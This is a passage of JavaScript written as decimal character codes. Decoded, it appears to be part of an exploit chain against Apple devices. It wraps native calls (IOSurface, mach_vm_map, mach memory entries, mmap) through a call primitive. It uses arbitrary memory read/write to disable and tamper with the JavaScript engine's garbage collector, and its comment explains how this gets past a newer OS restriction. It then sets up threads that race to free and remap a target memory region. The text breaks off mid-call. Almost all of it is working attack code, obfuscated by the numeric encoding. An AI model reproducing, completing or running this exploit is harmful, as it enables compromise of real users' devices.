78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 101, 110, 99, 111, 100, 105, 110, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 40, 100, 105, 99, 116, 44, 32, 107, 101, 121, 44, 32, 118, 97, 108, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 44, 32, 100, 105, 99, 116, 44, 32, 107, 101, 121, 44, 32, 118, 97, 108, 117, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 116, 104, 101, 84, 121, 112, 101, 44, 32, 118, 97, 108, 117, 101, 80, 116, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 116, 104, 101, 84, 121, 112, 101, 44, 32, 118, 97, 108, 117, 101, 80, 116, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 67, 114, 101, 97, 116, 101, 40, 100, 105, 99, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 67, 82, 69, 65, 84, 69, 44, 32, 100, 105, 99, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 71, 101, 116, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 40, 115, 117, 114, 102, 97, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 71, 69, 84, 66, 65, 83, 69, 65, 68, 68, 82, 69, 83, 83, 44, 32, 115, 117, 114, 102, 97, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 80, 114, 101, 102, 101, 116, 99, 104, 80, 97, 103, 101, 115, 40, 115, 117, 114, 102, 97, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 80, 82, 69, 70, 69, 84, 67, 72, 80, 65, 71, 69, 83, 44, 32, 115, 117, 114, 102, 97, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 111, 98, 106, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 82, 69, 76, 69, 65, 83, 69, 44, 32, 111, 98, 106, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 104, 111, 119, 40, 111, 98, 106, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 72, 79, 87, 44, 32, 111, 98, 106, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 109, 97, 107, 101, 95, 109, 101, 109, 111, 114, 121, 95, 101, 110, 116, 114, 121, 95, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 112, 101, 114, 109, 105, 115, 115, 105, 111, 110, 44, 32, 111, 98, 106, 101, 99, 116, 95, 104, 97, 110, 100, 108, 101, 44, 32, 112, 97, 114, 101, 110, 116, 95, 101, 110, 116, 114, 121, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 77, 65, 75, 69, 95, 77, 69, 77, 79, 82, 89, 95, 69, 78, 84, 82, 89, 95, 54, 52, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 112, 101, 114, 109, 105, 115, 115, 105, 111, 110, 44, 32, 111, 98, 106, 101, 99, 116, 95, 104, 97, 110, 100, 108, 101, 44, 32, 112, 97, 114, 101, 110, 116, 95, 101, 110, 116, 114, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 40, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 44, 32, 109, 97, 115, 107, 44, 32, 102, 108, 97, 103, 115, 44, 32, 111, 98, 106, 101, 99, 116, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 99, 111, 112, 121, 44, 32, 99, 117, 114, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 44, 32, 109, 97, 120, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 44, 32, 105, 110, 104, 101, 114, 105, 116, 97, 110, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 77, 65, 80, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 44, 32, 109, 97, 115, 107, 44, 32, 102, 108, 97, 103, 115, 44, 32, 111, 98, 106, 101, 99, 116, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 99, 111, 112, 121, 44, 32, 99, 117, 114, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 32, 124, 32, 40, 109, 97, 120, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 32, 60, 60, 32, 51, 50, 110, 41, 44, 32, 105, 110, 104, 101, 114, 105, 116, 97, 110, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 109, 97, 112, 40, 97, 100, 100, 114, 44, 32, 108, 101, 110, 44, 32, 112, 114, 111, 116, 44, 32, 102, 108, 97, 103, 115, 44, 32, 102, 100, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 77, 65, 80, 44, 32, 97, 100, 100, 114, 44, 32, 108, 101, 110, 44, 32, 112, 114, 111, 116, 44, 32, 102, 108, 97, 103, 115, 44, 32, 102, 100, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 108, 111, 99, 107, 40, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 76, 79, 67, 75, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 117, 110, 108, 111, 99, 107, 40, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 85, 78, 76, 79, 67, 75, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 40, 116, 97, 115, 107, 44, 32, 110, 97, 109, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 116, 97, 115, 107, 44, 32, 110, 97, 109, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 48, 120, 50, 48, 51, 110, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 118, 97, 108, 61, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 117, 102, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 49, 110, 44, 32, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 98, 117, 102, 44, 32, 118, 97, 108, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 98, 117, 102, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 32, 61, 32, 104, 101, 97, 112, 32, 43, 32, 48, 120, 50, 52, 49, 110, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 100, 105, 115, 97, 98, 108, 101, 100, 33, 33, 34, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 32, 61, 32, 104, 101, 97, 112, 32, 43, 32, 48, 120, 50, 52, 49, 110, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 44, 32, 49, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 101, 110, 97, 98, 108, 101, 100, 33, 33, 34, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 100, 105, 115, 97, 114, 109, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 47, 42, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 80, 114, 111, 98, 108, 101, 109, 58, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 71, 67, 32, 105, 115, 32, 116, 114, 105, 103, 103, 101, 114, 105, 110, 103, 44, 32, 97, 110, 100, 32, 105, 116, 32, 99, 97, 108, 108, 115, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 45, 62, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 32, 45, 62, 32, 116, 104, 114, 101, 97, 100, 46, 103, 101, 116, 82, 101, 103, 105, 115, 116, 101, 114, 115, 32, 45, 62, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 32, 105, 115, 32, 98, 97, 110, 110, 101, 100, 32, 98, 121, 32, 97, 117, 116, 111, 98, 111, 120, 32, 105, 110, 32, 62, 61, 49, 56, 46, 52, 32, 119, 104, 105, 99, 104, 32, 108, 101, 97, 100, 115, 32, 116, 111, 32, 99, 114, 97, 115, 104, 46, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 83, 111, 108, 117, 116, 105, 111, 110, 58, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 84, 111, 32, 119, 111, 114, 107, 32, 99, 111, 114, 114, 101, 99, 116, 108, 121, 32, 105, 110, 32, 110, 111, 106, 105, 116, 32, 101, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 32, 71, 67, 32, 110, 101, 101, 100, 115, 32, 116, 111, 32, 115, 99, 97, 110, 32, 97, 116, 32, 108, 101, 97, 115, 116, 32, 116, 104, 101, 32, 115, 116, 97, 99, 107, 32, 111, 102, 32, 99, 117, 114, 114, 101, 110, 116, 32, 116, 104, 114, 101, 97, 100, 32, 119, 105, 116, 104, 32, 99, 97, 108, 108, 32, 116, 111, 32, 103, 97, 116, 104, 101, 114, 70, 114, 111, 109, 67, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 73, 116, 32, 100, 111, 101, 115, 110, 39, 116, 32, 105, 110, 118, 111, 108, 118, 101, 32, 99, 97, 108, 108, 105, 110, 103, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 32, 115, 111, 32, 105, 116, 39, 115, 32, 115, 97, 102, 101, 32, 116, 111, 32, 100, 111, 46, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 118, 111, 105, 100, 32, 77, 97, 99, 104, 105, 110, 101, 84, 104, 114, 101, 97, 100, 115, 58, 58, 103, 97, 116, 104, 101, 114, 67, 111, 110, 115, 101, 114, 118, 97, 116, 105, 118, 101, 82, 111, 111, 116, 115, 40, 46, 46, 46, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 83, 116, 97, 116, 101, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 97, 116, 104, 101, 114, 70, 114, 111, 109, 67, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 40, 99, 111, 110, 115, 101, 114, 118, 97, 116, 105, 118, 101, 82, 111, 111, 116, 115, 44, 32, 106, 105, 116, 83, 116, 117, 98, 82, 111, 117, 116, 105, 110, 101, 115, 44, 32, 99, 111, 100, 101, 66, 108, 111, 99, 107, 115, 44, 32, 42, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 83, 116, 97, 116, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 46, 46, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 33, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 40, 108, 111, 99, 107, 101, 114, 44, 32, 98, 117, 102, 102, 101, 114, 44, 32, 99, 97, 112, 97, 99, 105, 116, 121, 44, 32, 38, 115, 105, 122, 101, 44, 32, 42, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 41, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 114, 111, 119, 66, 117, 102, 102, 101, 114, 40, 115, 105, 122, 101, 44, 32, 38, 98, 117, 102, 102, 101, 114, 44, 32, 38, 99, 97, 112, 97, 99, 105, 116, 121, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 79, 110, 32, 116, 104, 101, 32, 111, 116, 104, 101, 114, 32, 104, 97, 110, 100, 44, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 119, 105, 108, 108, 32, 116, 114, 121, 32, 116, 111, 32, 105, 116, 101, 114, 97, 116, 101, 32, 116, 104, 114, 101, 97, 100, 115, 32, 111, 102, 32, 104, 101, 97, 112, 46, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 32, 97, 110, 100, 32, 99, 97, 108, 108, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 87, 101, 32, 99, 97, 110, 32, 97, 118, 111, 105, 100, 32, 105, 116, 32, 98, 121, 32, 110, 117, 108, 108, 105, 110, 103, 32, 102, 105, 114, 115, 116, 32, 109, 101, 109, 98, 101, 114, 32, 111, 102, 32, 104, 101, 97, 112, 46, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 46, 116, 104, 114, 101, 97, 100, 115, 32, 119, 104, 105, 99, 104, 32, 112, 114, 101, 118, 101, 110, 116, 115, 32, 105, 116, 101, 114, 97, 116, 105, 111, 110, 32, 97, 110, 100, 32, 115, 116, 105, 108, 108, 32, 109, 97, 107, 101, 115, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 114, 101, 116, 117, 114, 110, 32, 116, 114, 117, 101, 46, 10, 32, 32, 32, 32, 10, 32, 32, 32, 32, 42, 47, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 104, 101, 97, 112, 32, 43, 32, 48, 120, 49, 57, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 116, 104, 114, 101, 97, 100, 115, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 116, 104, 114, 101, 97, 100, 115, 32, 43, 32, 48, 120, 50, 48, 110, 44, 32, 48, 120, 48, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 100, 105, 115, 97, 114, 109, 101, 100, 34, 41, 59, 10, 125, 10, 10, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 100, 105, 115, 97, 114, 109, 95, 103, 99, 40, 41, 59, 10, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 10, 10, 76, 79, 71, 40, 34, 91, 43, 93, 32, 72, 101, 108, 108, 111, 32, 102, 114, 111, 109, 58, 32, 34, 32, 43, 32, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 46, 104, 101, 120, 40, 41, 41, 59, 10, 76, 79, 71, 40, 34, 91, 43, 93, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 58, 32, 34, 32, 43, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 46, 104, 101, 120, 40, 41, 41, 59, 10, 10, 108, 101, 116, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 61, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 56, 110, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 49, 48, 110, 59, 10, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 49, 56, 110, 59, 10, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 50, 48, 110, 59, 10, 108, 101, 116, 32, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 50, 56, 110, 59, 10, 108, 101, 116, 32, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 51, 48, 110, 59, 10, 10, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 40, 41, 32, 123, 10, 32, 32, 32, 32, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 10, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 117, 114, 101, 97, 100, 54, 52, 40, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 32, 33, 61, 32, 48, 110, 41, 32, 123, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 65, 108, 108, 111, 99, 97, 116, 101, 32, 97, 32, 110, 101, 119, 32, 110, 111, 110, 45, 99, 111, 110, 116, 105, 103, 117, 111, 117, 115, 32, 109, 97, 112, 32, 101, 110, 116, 114, 121, 32, 40, 111, 112, 116, 105, 111, 110, 97, 108, 108, 121, 32, 117, 115, 105, 110, 103, 32, 97, 32, 109, 101, 109, 111, 114, 121, 32, 111, 98, 106, 101, 99, 116, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 107, 114, 32, 61, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 40, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 101, 116, 95, 98, 105, 103, 105, 110, 116, 95, 97, 100, 100, 114, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 48, 110, 44, 